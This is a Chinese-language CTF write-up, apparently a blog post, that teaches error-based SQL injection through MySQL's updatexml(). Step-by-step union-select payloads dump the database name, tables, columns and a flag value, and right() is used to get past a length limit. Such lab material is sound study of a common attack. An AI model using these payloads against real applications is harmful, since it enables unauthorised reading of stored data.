[WEB安全/SQL注入]SQLI报错注入原理分析和总结

报错注入

报错注入特征

在前端回显包含查询报错信息,而不直接显示查询的内容。

原理

1.SQL(5.1以上版本)支持Xpath语法,合法的XPATH语法(详见XPATH语法):
在这里插入图片描述

2.当服务器在前端不回显查询到的信息,但是回显执行的报错信息时,我们通过xpath的函数在报错中创造窗口。

SELECT updatexml(1,concat(0x7e,(show databases),0x7e),1) 

将查询语句提交到数据库应用上,concat()将三个参数合并为一个字符串(便于定位和报错),利用这种不符合Xpath的格式,可以的到报错的窗口。

我们通常见到的报错是一下格式:

ERROR 1105 (HY000): XPATH syntax error: '~db~'

在concat对三个参数连接前,SQL语句部分会被先行解析为查询结果,实际参与连接的为被替换后的回显结果,再利用前端回显得到报错,可以得到包含查询结果的报错信息,余下的就是注入的标准流程了,具体操作因选择的不同函数而不同。

updatexml(1,concat(0x7e,(回显窗口),0x7e),1)

3.UPDATEXML()函数的介绍[只供了解]

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc。

第二个参数:XPath_string (Xpath格式的字符串) ,不符合要求则报错。

第三个参数:new_value,String格式,替换查找到的符合条件的数据。

用途:改变文档中符合条件的节点的值。

改变XML_document中符合XPATH_string的值。

流程

查询窗口数量
1 order by 2
爆库
1 union select 1,updatexml(1,concat(0x7e,database(),0x7e),1)

查询错误: XPATH syntax error: '~sqli~'
爆表
1 union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

查询错误: XPATH syntax error: '~news,flag~'
爆字段
1 union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),0x7e),1)

查询错误: XPATH syntax error: '~flag~'
查询结果
1 union select 1,updatexml(1,concat(0x7e,(select flag from flag),0x7e),1)

查询错误: XPATH syntax error: '~ctfhub{49667c5f4c894ba4f577ca63'

【这里很明显没有字符串的右半边,因为他的回显是有长度限制的(32个字符)】

我们再利用substr,left ,mid ,和right函数这一类的函数,得到我们想要的。

1 union select 1,updatexml(1,concat(0x7e,right((select flag from flag),31),0x7e),1)

查询错误: XPATH syntax error: '~894ba4f577ca63b9e7b23b30111794}'

得到后半段,拼接,去重,就是flag.

ctfhub{49667c5f4c894ba4f577ca63b9e7b23b30111794}

字符串截取函数总结

SELECT LEFT(字符串或字段名,长度) 【串参数可以是CHAR或BINARY STRING】
SELECT RIGHT(字符串或字段名,长度) 
SELECT SUBSTR(字符串或字段名,截取开始位置,截取长度)  
								【Mysql:substr()《=》substring()】
SELECT MID(字符串或字段名,起始位置[,长度])

可写自动化脚本,考虑到以后爆的数据不会像FLAG这样短。SUBSTR更灵活。

其他报错注入的方案

floor,ExtractValue,UpdateXml,NAME_CONST,join,exp,GeometryCollection(),polygon (),multipoint (),multlinestring (),multpolygon (),linestring ()

过滤严重情况下,可利用join进行无列名注入,详见本人CISCN2021初赛-WEB部分

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值